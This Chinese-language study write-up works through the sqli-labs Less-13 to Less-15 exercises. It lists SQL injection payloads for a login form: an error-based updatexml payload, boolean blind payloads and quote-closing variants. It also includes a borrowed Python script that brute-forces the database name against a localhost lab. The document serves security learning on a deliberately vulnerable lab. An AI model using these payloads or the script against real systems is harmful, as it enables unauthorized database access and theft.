less-13
只有登录成功回显,没其它信息
密码传入必须有字符,闭合点
错误注入
payload
1
| uname=1&passwd=1') or updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit
|
布尔盲注
因为有登录成功反馈,可以使用布尔盲注
1
| uname=1&passwd=1') or if(length(database()=8),0,1)#&submit=Submit
|
太菜了写不出脚本,使用sqlmap,或者bp来爆破。
找了一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import requests
url = "http://localhost/sqli-labs/Less-13/"
payload_len = """a') or length( (database()) ) ={n} -- a"""
payload_str = """a') or ascii( substr( (database()) ,{l},1) ) ={n} -- a"""
data= { "uname" : "a') or 1 -- a", "passwd" : "1", "submit" : "Submit" }
def getLen(payload_len): length = 1 while True: data["uname"] = payload_len.format(n = length) response = requests.post(url=url, data=data) if '../images/flag.jpg' in response.text: print('测试成功,长度为:', length) return length; else: print('正在测试长度:', length) length += 1
def getStr(length): str = '' for l in range(1, length+1): for n in range(32, 126): data["uname"] = payload_str.format(l=l, n=n) response = requests.post(url=url, data=data) if '../images/flag.jpg' in response.text: str += chr(n) print('第', l, '个字符枚举成功:',str ) break length = getLen(payload_len) getStr(length)
|
可以换database()来实现其它注入,less13用单引号,less14用双引号
脚本出处:https://blog.csdn.net/wangyuxiang946/article/details/118094895
less-14
换了闭合点,可以按less13的方式解:
1
| uname=1&password=1" or true #&submit=Submit
|
less-15
没有报错回显,无法用报错注入,只能用布尔盲注
闭合点:
1
| uname=1&password=1' or true#&submit=Submit
|